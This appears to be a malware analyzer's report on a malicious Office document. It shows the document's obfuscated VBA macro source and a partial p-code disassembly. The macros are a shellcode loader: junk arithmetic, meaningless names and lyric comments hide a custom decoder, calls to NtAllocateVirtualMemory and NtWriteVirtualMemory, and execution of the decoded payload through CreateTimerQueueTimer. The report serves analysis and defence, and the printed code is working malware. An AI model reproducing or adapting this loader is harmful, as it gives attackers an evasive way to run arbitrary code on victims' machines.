 Pmt 0, aftershaft, 18916, 39985, 2
End Sub
Function fontanelle(pantyhose, archiannelid, altarpiece)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim hylobates As String
Dim sung As Byte
Dim intrigant As LongPtr
Dim pastry As LongPtr
Dim befoulment As LongPtr
Dim betray As Integer
Dim votary As LongPtr
Dim blowfly As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim pastry As Long
Dim ascospore As Byte
Dim intrigant As Long
Dim misused As Long
Dim votary As Long
Dim plaice As Variant
Dim befoulment As Long
Dim blearedness As Long
Dim blowfly As Long
Dim foghorn As Long
Dim heartbreaking As Variant
#End If
podagra = podagra Or 315
podagra = Rnd(132)
pastry = pantyhose
blowfly = altarpiece
setaria = vexation
votary = archiannelid
annexation = 72
acinus = 6145
merces = 155755
 Pmt 0, annexation, 34700, 39910, 3

podagra = Fix(418)
intrigant = 59 + 75 - 135
baltic ByVal intrigant, pastry, votary, blowfly, befoulment
cosy = "caetera"
End Function

Attribute VB_Name = "itching"
'  Then you rolled in with your hair in the wind
'  But just your sight had my heart storming
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  The moon went hiding, stars quit shining
'  I was doing alright
Public Declare PtrSafe Function baltic Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal counterbore As Any, ByVal biltong As Any, ByVal perodicticus As Any, ByVal playschool As Any, ByVal unearthly As Any) As LongPtr
'  Baby, without warning
'  I was doing alright
Public Declare PtrSafe Function pholidota Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (deliquescent As LongPtr, begrudging As LongPtr, ByVal whereat As LongPtr, conversationalByVal As LongPtr, aggrieved As LongPtr, ByVal goingover As LongPtr) As LongPtr
'  I was doing alright
'  You wrecked my whole world when you came
Public Declare PtrSafe Function closes Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (jakarta As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  The moon went hiding, stars quit shining
Public Declare PtrSafe Function adventism Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal congratulation As Any, straggle As Any, averti As Any, perissodactyla As Any) As LongPtr
'  But just your sight had my heart storming
'  Hit me like a hurricane
Public Declare PtrSafe Function calash Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal optimism As Any, appeaser As Any, burnous As Any, midwestern As Any) As LongPtr
'  From the moment when
'  But just your sight had my heart storming
Public Declare PtrSafe Function arales Lib "Kernel32" Alias "CreateTimerQueueTimer" (cando As Any, ByVal bacchanals As Any, ByVal dobson As Any, ByVal bulbul As Any, ByVal decrescendo As Any, ByVal auger As Any, ByVal ethological As Any) As Long
'  I was doing alright
'  Baby, without warning

'  You wrecked my whole world when you came
'  From the moment when
#End If
'  Hit me like a hurricane
'  And walked out
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  I was doing alright
'  And walked out
Public Declare Function pholidota Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (metatherian As Long, wardroom As Long, ByVal oftenness As Long, wisByVal As Long, fingertip As Long, ByVal bachelorhood As Long) As Long
'  From the moment when
'  I wouldnt be in my truck
Public Declare Function obviation Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal disinterestedly As Any, cestidae As Any, convincingness As Any, asphalt As Any) As Long
'  But you rolled in with your hair in the wind
'  Hit me like a hurricane
Public Declare Function modelled Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (hippophagy As Any) As Long
'  If I woulda just layed my drink down
'  You wrecked my whole world when you came
Public Declare Function arales Lib "Kernel32" Alias "CreateTimerQueueTimer" (discordantly As Any, ByVal catostomid As Any, ByVal neuroglia As Any, ByVal inelegantly As Any, ByVal strath As Any, ByVal intend As Any, ByVal jell As Any) As Long
'  But just your sight had my heart storming
'  I was doing alright
Public Declare Function zucchini Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal anchorite As Any, calostomataceae As Any, isotope As Any, bonnily As Any) As Long
'  Knew it was gonna be a long night
'  I was doing alright
Public Declare Function baltic Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal pessimism As Any, ByVal beanstalk As Any, ByVal barbacan As Any, ByVal breadstick As Any, ByVal strenuously As Any) As Long
'  Knew it was gonna be a long night
'  But you rolled in with your hair in the wind

'  And hit me like a hurricane'  The moon went hiding, stars quit shining
#End If
'  We locked eyes over whiskey on ice
'  The moon went hiding, stars quit shining


Function trifle(desaeuvre)
trifle = AscW(desaeuvre)
End Function
Function soaring(centigram, staunchly, blasphemous)
If blasphemous = 15 + (10 / 2 - 5) Then
soaring = centigram \ staunchly
ElseIf blasphemous = 25 + (5 - 3) / 2 - 1 Then
soaring = centigram And staunchly
ElseIf blasphemous = 33 + (56 / 7 - 4 * 2) Then
soaring = centigram * staunchly
End If
End Function
Function doeskin(drown) As String
unlively = Rnd(232)

Dim dryopteridaceae As Byte

podagra = unlively And 245

setaria = cosy

Dim matronhood As Integer
Dim avarice(63) As Long
Dim beatnik As Integer

Dim transmuted As Long
Dim tartan As Long
Dim extenuating As Long
Dim desagrement As Long
Dim edentulous(63) As Long
Dim tupi(6962) As Byte
Dim grudging() As Byte
Dim abrogate(63) As Long
Dim fee As String
Dim scavenging As Long

Dim sharecropper As Byte

Dim substantival As Variant

midgrass = 63
dehumanization = 65280
rowen = 64
preach = 16515072
southwest = 39 - 5 + 262110
disarm = 9 + 112 + 135
Dim asepsis As Variant

domiciliated = 16711680
reassembly = 116 + 13 + 3967
distention = 258048
azimuthal = 9 + 78 + 3945
razz = 62 + 109 + 84
majuscule = 42 - 24 + 65518
Dim unrefuted As Variant

Dim volcano As Variant
briny = 0
bugleweed = 7843
Dim obsolescence() As Byte
Dim majestical As String
Dim arbitrator As String
obsolescence = VBA.StrConv(drown, 128)
Dim unrighteousness As Integer
pampering = 58
beamish = 4932
homme = 426279
 Pmt 0, pampering, 32394, 29878, 2

basidiosporous = 7843
polka = vbKeyShift - 12
For unmake = 0 To basidiosporous
If unmake Mod 2 = 0 Then
obsolescence(unmake) = obsolescence(unmake) - polka
Else
obsolescence(unmake) = obsolescence(unmake) - (polka - 1)
End If
Next unmake
manidae = 112
culverin = 24428
physeter = 145837
 Pmt 0, manidae, 15537, 19140, 5

matronhood = 0
chuckle = 87 + 93 - 180
ammobium = 43
muckraker = astra
For transmuted = (7 - 7) * 1 To (50 + 13) * (5 - 4)
abrogate(transmuted) = soaring(transmuted, rowen, 33)
edentulous(transmuted) = soaring(transmuted, reassembly, 33)
avarice(transmuted) = soaring(transmuted, southwest, 33)
Next transmuted
overgorged = 119
magilp = 36814
heard = 514429
 Pmt 0, overgorged, 38558, 36299, 6

grudging = obsolescence
grassfinch = 4
volunteer = 50
baneberry = 20942
Description = 306665
 Pmt 0, volunteer, 22154, 55324, 3

palatal = 3
cosy = "celluloid"

setaria = "denature"

mayenne = palatal + 1
disinterestedness = 9 - 122 + 115
For extenuating = 0 To basidiosporous
counterbalancing = grudging(extenuating)
cardiovascular = grudging(extenuating + 2)
brash = edentulous(muckraker(grudging(extenuating + 1)))
almond = abrogate(muckraker(cardiovascular)) + muckraker(grudging(extenuating + palatal))
desagrement = avarice(muckraker(counterbalancing)) + brash + almond
transmuted = soaring(desagrement, domiciliated, 25)
tupi(tartan) = soaring(transmuted, majuscule, 15)
transmuted = soaring(desagrement, dehumanization, 25)
tupi(tartan + 1) = soaring(transmuted, disarm, 15)
tupi(tartan + disinterestedness) = soaring(desagrement, razz, 25)
tartan = tartan + disinterestedness + 1
extenuating = extenuating + 3
Next
doeskin = tupi
End Function
Function nozrta(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
aln = buls
deble = lky
dan2 = arales(wrd, aln, deble, aln, aln, aln, aln)
End Function
Function astra()
Dim bishopdom(255) As Byte
boustrophedonic = 89 - 99 + 75
Do While boustrophedonic <= 90 + 1
bishopdom(boustrophedonic) = boustrophedonic - 65
boustrophedonic = boustrophedonic + 1
Loop
boustrophedonic = 48
Do While boustrophedonic <= 50 + 8
bishopdom(boustrophedonic) = boustrophedonic + 4
boustrophedonic = boustrophedonic + 1
Loop
boustrophedonic = 97
Do While boustrophedonic <= 120 + 3
bishopdom(boustrophedonic) = boustrophedonic - 71
boustrophedonic = boustrophedonic + 1
Loop
bishopdom(47) = 63
boustrophedonic = 43
bishopdom(boustrophedonic) = 60 + 2
astra = bishopdom
End Function

Attribute VB_Name = "overtired"
Attribute VB_Base = "0{5C1271D1-517A-4AFF-B8E7-EA6C86A46445}{2FFC7A74-1C19-47F4-9537-8DAC8BAEF760}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/fd816e5525fe43e6a47f9ee03859a483.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 11243 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' 	FuncDefn (Function complementary(teratogenic))
' Line #6:
' 	Dim 
' 	VarDefn astonishing (As String)
' Line #7:
' 	Dim 
' 	VarDefn celibacy (As Variant)
' Line #8:
' 	Dim 
' 	VarDefn botheration (As Variant)
' Line #9:
' 	Dim 
' 	VarDefn absolutely (As Integer)
' Line #10:
' 	LbMark 
' 	LitDI2 0x0006 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0030 
' 	LitDI2 0x0006 
' 	LitDI2 0x0008 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #11:
' 	Dim 
' 	VarDefn defray (As Long)
' Line #12:
' 	Dim 
' 	VarDefn eumycetes (As Ptr)
' Line #13:
' 	LitDI2 0x0016 
' 	LitDI2 0x0065 
' 	Sub 
' 	LitDI2 0x0057 
' 	Add 
' 	St sepiidae 
' Line #14:
' 	Dim 
' 	VarDefn nyctaginia (As Ptr)
' Line #15:
' 	Dim 
' 	VarDefn zany (As Integer)
' Line #16:
' 	Dim 
' 	VarDefn sumtotal (As Byte)
' Line #17:
' 	Dim 
' 	VarDefn mich (As Ptr)
' Line #18:
' 	Dim 
' 	VarDefn indefinite (As Integer)
' Line #19:
' 	LbMark 
' 	LbEndIf 
' Line #20:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #21:
' 	Dim 
' 	VarDefn eumycetes (As Long)
' Line #22:
' 	LitDI2 0x0001 
' 	LitDI2 0x006C 
' 	Add 
' 	LitDI2 0x0069 
' 	Sub 
' 	St sepiidae 
' Line #23:
' 	Dim 
' 	VarDefn nyctaginia (As Long)
' Line #24:
' 	Dim 
' 	VarDefn mich (As Long)
' Line #25:
' 	LbMark 
' 	LbEndIf 
' Line #26:
' 	Ld eumycetes 
' 	ArgsLd VarPtr 0x0001 
' 	St unusualness 
' Line #27:
' 	Ld unusualness 
' 	Ld teratogenic 
' 	ArgsLd VarPtr 0x0001 
' 	LitDI2 0x0008 
' 	Add 
' 	Ld sepiidae 
' 	ArgsLd fontanelle 0x0003 
' 	St attrition 
' Line #28:
' 	LitDI2 0x000B 
' 	LitDI2 0x0061 
' 	Sub 
' 	LitDI2 0x0055 
' 	Add 
' 	St morisco 
' Line #29:
' 	LitDI2 0x0000 
' 	St nyctaginia 
' Line #30:
' 	LitDI2 0x0027 
' 	LitDI2 0x0020 
' 	Sub 
' 	LitDI2 0x0007 
' 	Sub 
' 	St heteroscelus 
' Line #31:
' 	LitDI2 0x24F1 
' 	St mich 
' Line #32:
' 	LitDI2 0x003A 
' 	LitDI2 0x003E 
' 	Add 
' 	LitDI2 0x0F88 
' 	Add 
' 	St firebrat 
' Line #33:
' 	LitDI2 0x0040 
' 	St antidiarrheal 
' Line #34:
' 	Ld morisco 
' 	ParamByVal 
' 	Ld nyctaginia 
' 	Ld heteroscelus 
' 	ParamByVal 
' 	Ld mich 
' 	Ld firebrat 
' 	ParamByVal 
' 	Ld antidiarrheal 
' 	ParamByVal 
' 	ArgsLd pholidota 0x0006 
' 	St barbasco 
' Line #35:
' 	LitDI2 0x019C 
' 	FnFix 
' 	St unlively 
' Line #36:
' Line #37:
' 	LitDI2 0x0045 
' 	Ld Math 
' 	ArgsMemLd Round 0x0001 
' 	St averti 
' Line #38:
' Line #39:
' 	Ld nyctaginia 
' 	Ld eumycetes 
' 	LitDI2 0x000F 
' 	LitDI2 0x0025 
' 	Add 
' 	LitDI2 0x16C7 
' 	Add 
' 	ArgsCall fontanelle 0x0003 
' Line #40:
' 	LitDI2 0x0070 
' 	St agglutinin 
' Line #41:
' 	LitDI2 0x1BF2 
' 	St thriving 
' Line #42:
' 	LitDI4 0x3406 0x0006 
' 	St bipartite 
' Line #43:
' 	LitDI2 0x0000 
' 	Ld agglutinin 
' 	LitDI2 0x542A 
' 	LitDI2 0x7FB3 
' 	LitDI2 0x0003 
' 	ArgsCall Pmt 0x0005 
' Line #44:
' Line #45:
' 	Ld nyctaginia 
' 	St complementary 
' Line #46:
' 	EndFunc 
' Line #47:
' 	FuncDefn (Sub absinthe())
' Line #48:
' 	Dim 
' 	VarDefn maneuverer (As Variant)
' Line #49:
' 	Dim 
' 	VarDefn conditae (As Integer)
' Line #50:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld overtired 
' 	MemLd mandalay 
' 	MemSt Value 
' Line #51:
' 	Ld plumage 
' 	LitStr 0x000B "accompanied"
' 	Eq 
' 	St varday 
' Line #52:
' 	LitStr 0x000A "benevolent"
' 	St loggerhead 
' Line #53:
' 	Ld dicamus 
' 	St sauve 
' Line #54:
' 	LitStr 0x000D "consolidation"
' 	St midday 
' Line #55:
' 	LitStr 0x0005 "abuna"
' 	St psora 
' Line #56:
' Line #57:
' 	LitStr 0x0004 "chug"
' 	St career 
' Line #58:
' 	LitStr 0x0005 "aired"
' 	St wretch 
' Line #59:
' 	LitStr 0x0009 "commensal"
' 	St neurotically 
' Line #60:
' 	SetStmt 
' 	Ld overtired 
' 	MemLd mandalay 
' 	MemLd SelectedItem 
' 	Set bobsleigh 
' Line #61:
' 	LitDI2 0x0074 
' 	St fothergilla 
' Line #62:
' 	LitDI4 0x8965 0x0000 
' 	St namedropping 
' Line #63:
' 	LitDI4 0xD532 0x0006 
' 	St biologist 
' Line #64:
' 	LitDI2 0x0000 
' 	Ld fothergilla 
' 	LitDI2 0x5A5A 
' 	LitDI2 0x7DCD 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #65:
' Line #66:
' 	Ld bobsleigh 
' 	MemLd Name 
' 	St marksmanship 
' Line #67:
' 	LitDI2 0x1EA4 
' 	St ajar 
' Line #68:
' 	Ld marksmanship 
' 	Ld ajar 
' 	ArgsLd Right 0x0002 
' 	St heure 
' Line #69:
' 	Ld heure 
' 	Ld itching 
' 	ArgsMemLd doeskin 0x0001 
' 	St destitute 
' Line #70:
' 	LitDI2 0x0069 
' 	St bandaged 
' Line #71:
' 	LitDI4 0x8B90 0x0000 
' 	St cohibit 
' Line #72:
' 	LitDI4 0x5918 0x0004 
' 	St dramatics 
' Line #73:
' 	LitDI2 0x0000 
' 	Ld bandaged 
' 	LitDI2 0x4A70 
' 	LitDI4 0xC4D0 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #74:
' Line #75:
' 	LitStr 0x000C "lachrymation"
' 	St colicky 
' Line #76:
' 	LitStr 0x0007 "clobber"
' 	St tonsorial 
' Line #77:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #78:
' 	Dim 
' 	VarDefn curvet (As Long)
' Line #79:
' 	Dim 
' 	VarDefn unifacial (As Ptr)
' Line #80:
' 	Dim 
' 	VarDefn bullseye (As Ptr)
' Line #81:
' 	Dim 
' 	VarDefn louvered (As String)
' Line #82:
' 	LbMark 
' 	LbEndIf 
' Line #83:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #84:
' 	Dim 
' 	VarDefn boyishly (As Integer)
' Line #85:
' 	Dim 
' 	VarDefn bullseye (As Long)
' Line #86:
' 	Dim 
' 	VarDefn broadtail (As String)
' Line #87:
' 	Dim 
' 	VarDefn unifacial (As Long)
' Line #88:
' 	LbMark 
' 	LbEndIf 
' Line #89:
' 	LitDI2 0x003A 
' 	LitDI2 0x001D 
' 	Sub 
' 	LitDI2 0x001D 
' 	Sub 
' 	St academist 
' Line #90:
' 	Ld scrounge 
' 	St cacher 
' Line #91:
' 	LitDI2 0x1000 
' 	St expectantly 
' Line #92:
' 	LitDI2 0x000A 
' 	St capture 
' Line #93:
' 	LitDI2 0x33CB 
' 	St tetraclinis 
' Line #94:
' 	LitDI4 0x670A 0x0004 
' 	St maimed 
' Line #95:
' 	LitDI2 0x0000 
' 	Ld capture 
' 	LitDI2 0x27C3 
' 	LitDI2 0x4A81 
' 	LitDI2 0x0003 
' 	ArgsCall Pmt 0x0005 
' Line #96:
' Line #97:
' 	LitStr 0x0008 "modifier"
' 	St mississippian 
' Line #98:
' 	LitStr 0x0009 "eggshaped"
' 	St aminopyrine 
' Line #99:
' 	LitStr 0x000A "promontory"
' 	St embogue 
' Line #100:
' 	LitDI2 0x0036 
' 	St strategic 
' Line #101:
' 	LitDI2 0x5431 
' 	St chordophone 
' Line #102:
' 	LitDI4 0xB894 0x0004 
' 	St ode 
' Line #103:
' 	LitDI2 0x0000 
' 	Ld strategic 
' 	LitDI2 0x0BA6 
' 	LitDI4 0xD039 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #104:
' Line #105:
' 	Ld destitute 
' 	St capacity 
' Line #106:
' 	LitStr 0x0008 "memorize"
' 	St abortionist 
' Line #107:
' 	Ld squat 
' 	St ojibwa 
' Line #108:
' 	Ld capacity 
' 	ArgsLd complementary 0x0001 
' 	St unifacial 
' Line #109:
' 	LitStr 0x000B "sleuthhound"
' 	St eddish 
' Line #110:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0005 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0008 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #111:
' 	Dim 
' 	VarDefn declivous (As Long)
' Line #112:
' 	Dim 
' 	VarDefn chagrin (As Ptr)
' Line #113:
' 	Dim 
' 	VarDefn athlete (As Ptr)
' Line #114:
' 	Dim 
' 	VarDefn ascendable (As Ptr)
' Line #115:
' 	LitDI2 0x002E 
' 	LitDI2 0x007C 
' 	Add 
' 	LitDI2 0x0766 
' 	Add 
' 	St nescio 
' Line #116:
' 	LbMark 
' 	LbEndIf 
' Line #117:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
…

Open this report in the interactive analyzer, or submit your own file for analysis.